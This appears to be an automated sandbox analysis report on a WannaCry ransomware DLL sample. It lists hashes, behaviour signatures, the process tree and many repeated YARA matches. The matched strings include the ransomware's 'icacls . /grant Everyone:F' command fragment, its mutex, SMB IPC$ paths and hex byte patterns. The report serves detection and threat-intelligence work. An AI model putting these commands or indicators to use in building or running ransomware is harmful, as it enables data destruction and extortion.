Edit tour

Windows Analysis Report
4Maoj78D1f

Overview

General Information

Sample Name:	4Maoj78D1f (renamed file extension from none to dll)
Analysis ID:	669909
MD5:	53430da3560a8d1bbc2f0c2d1da297c8
SHA1:	24ca115dce63513fb0bfe1805ec002d09b006265
SHA256:	744fd73d05e9485fe66856a905593657fc0ac28ccd8ea9d34fe84d0623f8e1dc
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Creates files inside the system directory

JA3 SSL client fingerprint seen in connection with other malware

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6416 cmdline: loaddll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 5856 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4852 cmdline: rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 6132 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 7290AFBD1B28AAAF40403CB7DD295C9D)

rundll32.exe (PID: 4444 cmdline: rundll32.exe C:\Users\user\Desktop\4Maoj78D1f.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1576 cmdline: rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 2704 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 7290AFBD1B28AAAF40403CB7DD295C9D)

mssecsvr.exe (PID: 6204 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 7290AFBD1B28AAAF40403CB7DD295C9D)

svchost.exe (PID: 7428 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8512 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8980 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 9408 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
4Maoj78D1f.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x45604:$x1: icacls . /grant Everyone:F /T /C /Q 0x353d0:$x3: tasksche.exe 0x455e0:$x3: tasksche.exe 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA 0x45634:$x5: WNcry@2ol7 0x353a8:$x8: C:\%s\qeriuwjhrf 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x45534:$s3: cmd.exe /c "%s" 0x77a88:$s4: msg/m_portuguese.wnry 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4Maoj78D1f.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4Maoj78D1f.dll	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\tasksche.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
C:\Windows\tasksche.exe	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Windows\mssecsvr.exe	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000000.363553975.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.357997595.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.366748536.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.366049725.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.370397552.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.363277316.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.370463078.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.368608728.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.361155952.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.375063291.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.359661455.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000002.374918154.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.368310954.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.361435294.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.359726193.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.363619382.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.358211362.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.363392833.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000007.00000000.366852885.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.366186624.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Process Memory Space: mssecsvr.exe PID: 6132	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 2704	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6204	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.mssecsvr.exe.7100a4.7.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
6.0.mssecsvr.exe.7100a4.7.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
6.2.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.2.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
4.2.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.5.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
6.0.mssecsvr.exe.7100a4.5.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
7.2.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.3.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
4.0.mssecsvr.exe.7100a4.3.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
6.0.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.7.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
4.0.mssecsvr.exe.7100a4.7.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.3.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
6.0.mssecsvr.exe.7100a4.3.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.5.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
4.0.mssecsvr.exe.7100a4.5.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
7.0.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
